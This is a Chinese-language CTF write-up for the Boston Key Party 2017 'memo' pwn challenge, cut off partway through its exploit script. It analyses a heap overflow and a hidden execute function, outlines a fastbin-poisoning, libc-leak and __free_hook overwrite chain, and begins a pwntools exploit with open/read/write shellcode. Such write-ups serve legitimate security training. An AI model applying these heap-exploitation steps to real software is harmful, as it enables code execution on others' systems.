memo
题目
https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/memo-300
分析
题目有些生硬,很多地方都不太能说通,不过就是练习一下,就当刷水题了。
逻辑
- setvbuf等基本操作,以及使用prctl设置了no new privs,所以无法新建进程
- 输入用户密码,密码可以不写,全局变量name和password分别保留用户和密码,分别0x20大小
- 之后进入主要逻辑一共6个功能
i. leave message 涉及到两个全局变量,size和memo,memo紧跟在size之后,size紧跟在password之后,size大小0x10,memo大小0x20。 size是int类型数组,一共有4个int,每一个表示0到3个message的大小。 memo一共有4个指针,每一个表示message的具体位置。 leave message有两种情况,一个是0x20大小以内,直接malloc该大小,并且在size数组中保存,存进memo里,另一个是0x20大小以上,malloc 0x20大小,然后使用read读取size大小,之后全局变量index保存为这次创建的index。
ii. edit message,更改全局变量memo中全局变量index所在指针指向位置的内容,大小为size中index的值
iii. view memo 查看某个index的memo内容
vi. delete memo 删除某个index的memo内容,直接free,并且将memo数组中该位置设置为0,删除前先判断
v. change password 更改密码内容
开启的保护主要是 NX, FULL RELRO, 没有开启PIE
漏洞
- leave message位置,如果大于0x20,read时候读取的还是size,size此时大于0x20,存在溢出。
- 有一个隐藏函数,位于0x400b47,会执行输入的内容
利用分析
溢出的自由度比较大,利用也比较简单。
大概步骤是
1. password设置最后位置为0x31,由于password和size紧邻,用来通过fastbin 分配的check
2. 利用溢出,修改fd指针到password写入0x31的位置,然后分配出指向size位置的chunk
3. 修改memo位置的指针,指向任意一个GOT表中的指针,然后利用view来获取地址,得到libc基地址
4. 再次修改memo位置指针,指向__free_hook,然后通过edit来修改__free_hook指向隐藏函数
5. 通过shellcode完成open read 和write得到flag
题目比较简单,我就直接给exp了
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 1
GDB = 1
if DEBUG:
p = process("./memo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
shellcode = '''
mov rax, 0x2
mov rdi, 0x41410100
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, 0x602000
mov rdx, 0x100
xor rax, rax
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x602000
mov rdx, 0x100
syscall
'''
def init_all(name, password):
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('(y/n)')
if password is not None:
p.sendline('y')
p.recvuntil('Password:')
p.sendline(password)
else:
p.sendline('n')
def leave_message(index, msg):
p.recvuntil(